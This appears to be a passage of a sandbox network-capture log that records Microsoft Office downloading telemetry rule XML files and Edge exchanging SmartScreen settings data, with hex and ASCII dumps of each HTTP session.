2024-11-20 22:12:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:52 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221252Z-r1d97b99577dd2gchC1TEBz5ys000000097g00000000pzg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221253Z-1777c6cb754gvvgfhC1TEBz4rg0000000a7000000000n4dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221253Z-1777c6cb754lv4cqhC1TEB13us0000000a6g00000000d3q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221253Z-1777c6cb754rz2pghC1TEBghen0000000a4000000000bn54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:54 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221254Z-1777c6cb754dqb2khC1TEBmk1s0000000a70000000007ack x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:54 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49868	20.25.227.174	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:54 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiY2Uva0JhUDlVaFcvdisvc0xVZkV5UT09IiwgImhhc2giOiJva3VQSTNRdGcxZz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 22:12:54 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 22:12:54 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:54 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-20 22:12:54 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-20 22:12:55 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:54 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221255Z-1777c6cb754mrj2shC1TEB6k7w0000000a9000000000qkpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221255Z-r1d97b99577tssmjhC1TEB8kan000000097g00000000uv63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49872	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
